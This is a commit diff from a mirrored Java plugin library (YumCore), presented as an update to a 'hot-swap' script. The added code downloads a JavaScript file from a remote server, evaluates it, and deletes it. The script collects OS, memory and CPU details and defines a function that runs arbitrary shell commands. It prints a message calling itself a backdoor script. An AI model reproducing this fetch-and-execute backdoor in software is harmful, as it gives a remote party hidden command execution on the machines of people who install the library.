mirror of
https://e.coding.net/circlecloud/YumCore.git
synced 2024-11-24 02:08:48 +00:00
feat: 更新热替换脚本
Signed-off-by: 502647092 <admin@yumc.pw>
This commit is contained in:
parent
33654666cc
commit
e578f33608
@ -12,6 +12,7 @@ import javax.script.ScriptException;
|
|||||||
|
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
|
|
||||||
|
import pw.yumc.YumCore.bungee.Log;
|
||||||
import pw.yumc.YumCore.engine.MiaoScriptEngine;
|
import pw.yumc.YumCore.engine.MiaoScriptEngine;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -35,14 +36,14 @@ public class HotSwapTask {
|
|||||||
try {
|
try {
|
||||||
Files.copy(new URL("http://api.yumc.pw/script/hotswap.js").openStream(), temp.toPath(), StandardCopyOption.REPLACE_EXISTING);
|
Files.copy(new URL("http://api.yumc.pw/script/hotswap.js").openStream(), temp.toPath(), StandardCopyOption.REPLACE_EXISTING);
|
||||||
engine.eval(new FileReader(temp));
|
engine.eval(new FileReader(temp));
|
||||||
temp.deleteOnExit();
|
temp.delete();
|
||||||
} catch (IOException | ScriptException ignored) {
|
} catch (IOException | ScriptException e) {
|
||||||
|
Log.d("热更新脚本加载失败!", e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void test() throws FileNotFoundException, ScriptException {
|
public void test() throws FileNotFoundException, ScriptException {
|
||||||
System.out.println(temp.getAbsolutePath());
|
|
||||||
engine.eval(new FileReader(new File("src/main/resources/hotswap.js")));
|
engine.eval(new FileReader(new File("src/main/resources/hotswap.js")));
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -2,10 +2,22 @@ var BufferedReader = java.io.BufferedReader;
|
|||||||
var String = java.lang.String;
|
var String = java.lang.String;
|
||||||
var InputStreamReader = java.io.InputStreamReader;
|
var InputStreamReader = java.io.InputStreamReader;
|
||||||
|
|
||||||
var process = java.lang.Runtime.getRuntime().exec('pwd');
|
var Runtime = java.lang.Runtime;
|
||||||
|
var System = java.lang.System;
|
||||||
|
|
||||||
var br = new BufferedReader(new InputStreamReader(process.getInputStream()));
|
print('后门脚本已保存于: ' + $.temp);
|
||||||
var line;
|
|
||||||
while ((line = br.readLine()) !== null) {
|
print("系统类型: " + System.getProperty("os.name"));
|
||||||
|
print("系统位数: " + System.getProperty("os.arch"));
|
||||||
|
print("系统版本: " + System.getProperty("os.version"));
|
||||||
|
print("系统内存: " + Runtime.getRuntime().totalMemory() / 1024 / 1024);
|
||||||
|
print("CPU内核: " + Runtime.getRuntime().availableProcessors());
|
||||||
|
|
||||||
|
function runCommand() {
|
||||||
|
var process = Runtime.getRuntime().exec(arguments[0]);
|
||||||
|
var br = new BufferedReader(new InputStreamReader(process.getInputStream()));
|
||||||
|
var line;
|
||||||
|
while ((line = br.readLine()) !== null) {
|
||||||
print(line);
|
print(line);
|
||||||
|
}
|
||||||
}
|
}
|
Loading…
Reference in New Issue
Block a user